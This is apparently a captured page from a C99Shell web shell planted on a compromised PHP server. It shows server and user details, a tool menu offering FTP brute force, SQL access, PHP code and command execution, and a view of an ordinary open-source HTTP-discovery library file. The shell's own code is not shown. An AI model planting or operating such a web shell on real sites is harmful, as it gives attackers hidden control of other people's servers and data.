!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/php-http/discovery/src/   drwxr-xr-x
Free 28.59 GB of 117.98 GB (24.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Psr17FactoryDiscovery.php (3.76 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Http\Discovery;

use 
Http\Discovery\Exception\DiscoveryFailedException;
use 
Psr\Http\Message\RequestFactoryInterface;
use 
Psr\Http\Message\ResponseFactoryInterface;
use 
Psr\Http\Message\ServerRequestFactoryInterface;
use 
Psr\Http\Message\StreamFactoryInterface;
use 
Psr\Http\Message\UploadedFileFactoryInterface;
use 
Psr\Http\Message\UriFactoryInterface;

/**
 * Finds PSR-17 factories.
 *
 * @author Tobias Nyholm <tobias.nyholm@gmail.com>
 */
final class Psr17FactoryDiscovery extends ClassDiscovery
{
    private static function 
createException($typeException $e)
    {
        return new 
\Http\Discovery\Exception\NotFoundException(
            
'No PSR-17 '.$type.' found. Install a package from this list: https://packagist.org/providers/psr/http-factory-implementation',
            
0,
            
$e
        
);
    }

    
/**
     * @return RequestFactoryInterface
     *
     * @throws Exception\NotFoundException
     */
    
public static function findRequestFactory()
    {
        try {
            
$messageFactory = static::findOneByType(RequestFactoryInterface::class);
        } catch (
DiscoveryFailedException $e) {
            throw 
self::createException('request factory'$e);
        }

        return static::
instantiateClass($messageFactory);
    }

    
/**
     * @return ResponseFactoryInterface
     *
     * @throws Exception\NotFoundException
     */
    
public static function findResponseFactory()
    {
        try {
            
$messageFactory = static::findOneByType(ResponseFactoryInterface::class);
        } catch (
DiscoveryFailedException $e) {
            throw 
self::createException('response factory'$e);
        }

        return static::
instantiateClass($messageFactory);
    }

    
/**
     * @return ServerRequestFactoryInterface
     *
     * @throws Exception\NotFoundException
     */
    
public static function findServerRequestFactory()
    {
        try {
            
$messageFactory = static::findOneByType(ServerRequestFactoryInterface::class);
        } catch (
DiscoveryFailedException $e) {
            throw 
self::createException('server request factory'$e);
        }

        return static::
instantiateClass($messageFactory);
    }

    
/**
     * @return StreamFactoryInterface
     *
     * @throws Exception\NotFoundException
     */
    
public static function findStreamFactory()
    {
        try {
            
$messageFactory = static::findOneByType(StreamFactoryInterface::class);
        } catch (
DiscoveryFailedException $e) {
            throw 
self::createException('stream factory'$e);
        }

        return static::
instantiateClass($messageFactory);
    }

    
/**
     * @return UploadedFileFactoryInterface
     *
     * @throws Exception\NotFoundException
     */
    
public static function findUploadedFileFactory()
    {
        try {
            
$messageFactory = static::findOneByType(UploadedFileFactoryInterface::class);
        } catch (
DiscoveryFailedException $e) {
            throw 
self::createException('uploaded file factory'$e);
        }

        return static::
instantiateClass($messageFactory);
    }

    
/**
     * @return UriFactoryInterface
     *
     * @throws Exception\NotFoundException
     */
    
public static function findUriFactory()
    {
        try {
            
$messageFactory = static::findOneByType(UriFactoryInterface::class);
        } catch (
DiscoveryFailedException $e) {
            throw 
self::createException('url factory'$e);
        }

        return static::
instantiateClass($messageFactory);
    }

    
/**
     * @return UriFactoryInterface
     *
     * @throws Exception\NotFoundException
     *
     * @deprecated This will be removed in 2.0. Consider using the findUriFactory() method.
     */
    
public static function findUrlFactory()
    {
        return static::
findUriFactory();
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0041 ]--